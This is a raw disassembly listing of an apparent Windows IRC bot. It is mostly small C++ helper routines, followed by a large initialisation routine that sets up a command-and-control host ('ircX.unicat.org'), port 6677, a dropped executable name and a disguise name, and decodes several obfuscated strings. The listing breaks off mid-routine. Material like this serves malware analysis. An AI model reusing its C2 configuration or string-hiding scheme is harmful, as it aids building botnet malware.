sub_407080	proc near		; CODE XREF: sub_4020BDj

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_407080
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+32h]
		push	eax
		mov	[esp+1Ch+var_4], 0
		call	sub_40156E
sub_407080	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	dword ptr [esi], offset	off_43F00C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407100	proc near		; CODE XREF: sub_40159Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_4015E1
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_8]
		lea	eax, [esp+4+arg_0]
		mov	[edx+2Ah], ecx
		push	eax
		lea	ecx, [esi+32h]
		call	sub_4014EC
sub_407100	endp

; ---------------------------------------------------------------------------
		pop	esi
		retn	0Ch
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407140	proc near		; CODE XREF: sub_401B04j

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_401AD7
		add	esi, 32h
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_40162C
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_4021DF
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40184D
		test	al, al
		jz	short loc_4071BB
		mov	edi, [esp+10h+arg_0]


loc_407183:				; CODE XREF: sub_407140+79j
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_401749
		mov	ecx, [eax]
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_4071C5
		call	sub_401F28
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_4021DF
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40184D
		test	al, al
		jnz	short loc_407183


loc_4071BB:				; CODE XREF: sub_407140+3Dj
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_4071C5:				; CODE XREF: sub_407140+5Aj
		call	sub_401749
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_407140	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407210	proc near		; CODE XREF: sub_40221Bj
		xor	al, al
		retn	4
sub_407210	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407230	proc near		; CODE XREF: sub_40156Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40119F
sub_407230	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407270	proc near		; CODE XREF: sub_40162Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_401A96
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_4021A8
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_407270	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4072B0	proc near		; CODE XREF: sub_4021DFj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_4021A8
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_4072B0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4072E0	proc near		; CODE XREF: sub_4014ECj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4021DF
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4013B6
sub_4072E0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407320	proc near		; CODE XREF: sub_401AD7j
		push	esi
		mov	esi, ecx
		call	sub_401B77
		mov	eax, esi
		pop	esi
		retn
sub_407320	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407340	proc near		; CODE XREF: sub_401749j
		mov	eax, [ecx]
		push	eax
		call	sub_401208
		add	esp, 4
		retn
sub_407340	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407360	proc near		; CODE XREF: sub_401F28j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401A96
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_407360	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407390	proc near		; CODE XREF: sub_40184Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401FBE
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_407390	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4073C0	proc near		; CODE XREF: sub_4013B6j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401C9E
		mov	edi, eax
		push	edi
		call	sub_401C6C
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40119F
sub_4073C0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401C6C
		push	edi
		mov	[eax], ebx
		call	sub_401C6C
		mov	edi, [eax]
		push	edi
		call	sub_401C6C
		mov	ecx, [eax]
		push	ecx
		call	sub_401A96
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401208
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_40167C
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_4021A8
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407460	proc near		; CODE XREF: sub_40119Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4019D8
sub_407460	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_407475
		mov	edi, esi


loc_407475:				; CODE XREF: ___:00407471j
		push	esi
		call	sub_401A96
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40748A
		mov	edi, esi


loc_40748A:				; CODE XREF: ___:00407486j
		push	esi
		call	sub_401C6C
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074B0	proc near		; CODE XREF: sub_401A96j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_4074B0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074D0	proc near		; CODE XREF: sub_401208j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_4074D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074F0	proc near		; CODE XREF: sub_401B77j
		mov	eax, ecx
		retn
sub_4074F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407510	proc near		; CODE XREF: sub_4021A8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4011E5
		mov	eax, esi
		pop	esi
		retn	4
sub_407510	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407540	proc near		; CODE XREF: sub_401FBEj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_407540	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407570	proc near		; CODE XREF: sub_401C6Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_407570	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407590	proc near		; CODE XREF: sub_4019D8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_407590	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4075C0	proc near		; CODE XREF: sub_40167Cj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40109B
		add	esp, 8
		retn	8
sub_4075C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4075F0	proc near		; CODE XREF: sub_4011E5j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4075F0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407610	proc near		; CODE XREF: sub_401C9Ej
		mov	eax, [ecx]
		retn
sub_407610	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407630	proc near		; CODE XREF: sub_401D2Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40763A
		xor	eax, eax


loc_40763A:				; CODE XREF: sub_407630+6j
		push	eax
		call	sub_437AEA
sub_407630	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407660	proc near		; CODE XREF: sub_40109Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40767B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40767B:				; CODE XREF: sub_407660+11j
		retn
sub_407660	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407690	proc near		; CODE XREF: sub_4011CCj

arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		retn
sub_407690	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4076B0	proc near		; CODE XREF: sub_401B40j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4076B0
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_4]
		mov	[esp+1Ch+var_4], 0
		call	sub_4017EE
		push	eax
		mov	eax, [esp+20h+arg_0]
		push	0
		push	eax
		mov	ecx, offset word_44ACD6
		call	sub_401B72
sub_4076B0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+8], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	1Ch
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407740	proc near		; CODE XREF: sub_401CD5j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_407740
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_1C]
		mov	[esp+1Ch+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+20h+arg_4]
		call	sub_4017EE
		push	eax
		mov	eax, [esp+24h+arg_0]
		push	eax
		mov	ecx, offset word_44ACD6
		call	sub_401B72
sub_407740	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+8], 0
		call	sub_401226
		lea	ecx, [esp+2Ch]
		mov	dword ptr [esp+8], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	34h
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4077E0	proc near		; CODE XREF: sub_40121Cj

var_350		= dword	ptr -350h
var_34C		= dword	ptr -34Ch
var_348		= byte ptr -348h
var_330		= byte ptr -330h
var_318		= byte ptr -318h
var_2F4		= byte ptr -2F4h
var_2DC		= byte ptr -2DCh
var_2C4		= byte ptr -2C4h
var_2AC		= byte ptr -2ACh
var_294		= byte ptr -294h
var_27C		= byte ptr -27Ch
var_264		= byte ptr -264h
var_24C		= byte ptr -24Ch
var_234		= byte ptr -234h
var_21C		= byte ptr -21Ch
var_204		= byte ptr -204h
var_1EC		= byte ptr -1ECh
var_1D4		= byte ptr -1D4h
var_1BC		= byte ptr -1BCh
var_1A4		= byte ptr -1A4h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_15C		= byte ptr -15Ch
var_144		= byte ptr -144h
var_114		= byte ptr -114h
var_E4		= byte ptr -0E4h
var_CC		= byte ptr -0CCh
var_B4		= byte ptr -0B4h
var_9C		= byte ptr -9Ch
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4077E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 344h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+35Ch+var_2C4]
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_2DC]
		mov	[esp+35Ch+var_4], 0
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_174]
		mov	byte ptr [esp+35Ch+var_4], 1
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_1A4]
		mov	byte ptr [esp+35Ch+var_4], 2
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_2AC]
		mov	byte ptr [esp+35Ch+var_4], 3
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_2F4]
		mov	byte ptr [esp+35Ch+var_4], 4
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_1D4]
		mov	byte ptr [esp+35Ch+var_4], 5
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_204]
		mov	byte ptr [esp+35Ch+var_4], 6
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_294]
		mov	byte ptr [esp+35Ch+var_4], 7
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_24]
		mov	byte ptr [esp+35Ch+var_4], 8
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_54]
		mov	byte ptr [esp+35Ch+var_4], 9
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_84]
		mov	byte ptr [esp+35Ch+var_4], 0Ah
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_3C]
		mov	byte ptr [esp+35Ch+var_4], 0Bh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_6C]
		mov	byte ptr [esp+35Ch+var_4], 0Ch
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_234]
		mov	byte ptr [esp+35Ch+var_4], 0Dh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_264]
		mov	byte ptr [esp+35Ch+var_4], 0Eh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_E4]
		mov	byte ptr [esp+35Ch+var_4], 0Fh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_15C]
		mov	byte ptr [esp+35Ch+var_4], 10h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_114]
		mov	byte ptr [esp+35Ch+var_4], 11h
		call	sub_40142E
		mov	byte ptr [esp+35Ch+var_4], 12h
		lea	ecx, [esp+35Ch+var_18C]
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_144]
		mov	byte ptr [esp+35Ch+var_4], 13h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_1BC]
		mov	byte ptr [esp+35Ch+var_4], 14h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_27C]
		mov	byte ptr [esp+35Ch+var_4], 15h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_1EC]
		mov	byte ptr [esp+35Ch+var_4], 16h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_CC]
		mov	byte ptr [esp+35Ch+var_4], 17h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_21C]
		mov	byte ptr [esp+35Ch+var_4], 18h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_B4]
		mov	byte ptr [esp+35Ch+var_4], 19h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_9C]
		mov	byte ptr [esp+35Ch+var_4], 1Ah
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_24C]
		mov	byte ptr [esp+35Ch+var_4], 1Bh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_330]
		mov	byte ptr [esp+35Ch+var_4], 1Ch
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_318]
		mov	byte ptr [esp+35Ch+var_4], 1Dh
		call	sub_40142E
		mov	ebx, 1Eh
		push	offset aIrcx_unicat_or ; "ircX.unicat.org"
		lea	ecx, [esp+360h+var_2C4]
		mov	byte ptr [esp+360h+var_4], bl
		call	sub_401A9B
		push	offset a6677	; "6677"
		lea	ecx, [esp+360h+var_2DC]
		call	sub_401A9B
		push	offset byte_448F30
		lea	ecx, [esp+360h+var_144]
		call	sub_401A9B
		lea	eax, [esp+35Ch+var_2C4]
		lea	ecx, [esp+35Ch+var_174]
		push	eax
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_2DC]
		push	ecx
		lea	ecx, [esp+360h+var_1A4]
		call	sub_40202C
		push	offset byte_448F30
		lea	ecx, [esp+360h+var_1BC]
		call	sub_401A9B
		push	offset dword_444870
		lea	ecx, [esp+360h+var_2AC]
		call	sub_401A9B
		push	offset off_44486C
		lea	ecx, [esp+360h+var_24C]
		call	sub_401A9B
		push	offset aXkey	; "Xkey"
		lea	ecx, [esp+360h+var_2F4]
		call	sub_401A9B
		push	offset aIgfsfdsda32_ex ; "igfsfdsda32.exe"
		lea	ecx, [esp+360h+var_1D4]
		call	sub_401A9B
		push	offset aAyssafsdsfsddk ; "ayssafsdsfsddklfsdf"
		lea	ecx, [esp+360h+var_204]
		call	sub_401A9B
		push	offset asc_444834 ; "X-"
		lea	ecx, [esp+360h+var_294]
		call	sub_401A9B
		push	offset aSet	; "set"
		lea	ecx, [esp+360h+var_234]
		call	sub_401A9B
		push	0
		push	4Ah
		push	20h
		push	48h
		push	1Ch
		push	4Bh
		push	46h
		push	4Ah
		push	46h
		push	47h
		push	4Ch
		push	1Fh
		push	48h
		push	1Fh
		push	ebx
		push	1Bh
		push	1Dh
		push	47h
		push	4Bh
		push	47h
		push	ebx
		push	45h
		push	46h
		push	4Ah
		push	48h
		push	ebx
		push	1Dh
		push	1Ch
		push	4Ah
		push	20h
		push	4Ch
		push	4Dh
		lea	edx, [esp+3DCh+var_348]
		push	44h
		push	edx
		call	sub_4019C4
		add	esp, 88h
		push	eax
		lea	ecx, [esp+360h+var_264]
		mov	byte ptr [esp+360h+var_4], 1Fh
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	offset aFeeling_nasty ;	"feeling.nasty"
		lea	ecx, [esp+360h+var_E4]
		call	sub_401A9B
		push	offset aEvil	; "evil"
		lea	ecx, [esp+360h+var_15C]
		call	sub_401A9B
		push	offset aMicrosoftVisua ; "MicroSoft Visual SP4"
		lea	ecx, [esp+360h+var_114]
		call	sub_401A9B
		push	offset dword_4447F8
		lea	ecx, [esp+360h+var_27C]
		call	sub_401A9B
		push	0
		push	4Bh
		push	48h
		push	4Ah
		push	47h
		push	4Ch
		push	48h
		push	4Bh
		push	48h
		push	45h
		lea	eax, [esp+384h+var_348]
		push	46h
		push	eax
		call	sub_4019C4
		add	esp, 30h
		push	eax
		lea	ecx, [esp+360h+var_18C]
		mov	byte ptr [esp+360h+var_4], 20h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	0Dh
		push	0Fh
		push	3
		push	4Fh
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	0Dh
		push	4Fh
		push	46h
		push	47h
		push	5
		push	12h
		push	1
		push	3
		push	5
		push	16h
		push	9
		lea	ecx, [esp+3BCh+var_348]
		push	0Ch
		push	ecx
		call	sub_4019C4
		add	esp, 68h
		push	eax
		lea	ecx, [esp+360h+var_1EC]
		mov	byte ptr [esp+360h+var_4], 21h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	edx, [esp+36Ch+var_348]
		push	45h
		push	edx
		call	sub_4019C4
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_CC]
		mov	byte ptr [esp+360h+var_4], 22h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	eax, [esp+36Ch+var_348]
		push	45h
		push	eax
		call	sub_4019C4
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_B4]
		mov	byte ptr [esp+360h+var_4], 23h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	44h
		push	49h
		lea	ecx, [esp+368h+var_348]
		push	46h
		push	ecx
		call	sub_4019C4
		add	esp, 14h
		push	eax
		lea	ecx, [esp+360h+var_21C]
		mov	byte ptr [esp+360h+var_4], 24h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	edx, [esp+36Ch+var_348]
		push	45h
		push	edx
		call	sub_4019C4
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_9C]
		mov	byte ptr [esp+360h+var_4], 25h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	15h
		push	12h
		lea	eax, [esp+36Ch+var_348]
		push	14h
		push	eax
		call	sub_4019C4
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_330]
		mov	byte ptr [esp+360h+var_4], 26h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	13h
		push	0Ch
		push	1
		lea	ecx, [esp+370h+var_348]
		push	6
		push	ecx
		call	sub_4019C4
		add	esp, 1Ch
		push	eax
		lea	ecx, [esp+360h+var_318]
		mov	byte ptr [esp+360h+var_4], 27h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		lea	ecx, [esp+35Ch+var_2F4]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+374h+var_34C], esp
		push	eax
		call	sub_401870
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		mov	byte ptr [esp+38Ch+var_4], 28h
		push	1
		push	8
		push	3
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+3D0h+var_348]
		push	13h
		push	edx
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+374h+var_4], 29h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+38Ch+var_350], esp
		push	eax
		call	sub_401870
		lea	eax, [esi+0FECh]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+390h+var_4], 2Ah
		call	sub_401CD5
sub_4077E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0B0h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	0Eh
		push	1
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3D4h], 2Bh
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 2Ch
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+1035h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 2Dh
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+80h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	14h
		push	12h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+78h]
		push	13h
		push	eax
		mov	byte ptr [esp+3C4h], 2Eh
		call	sub_4019C4
		add	esp, 54h
		mov	ecx, eax
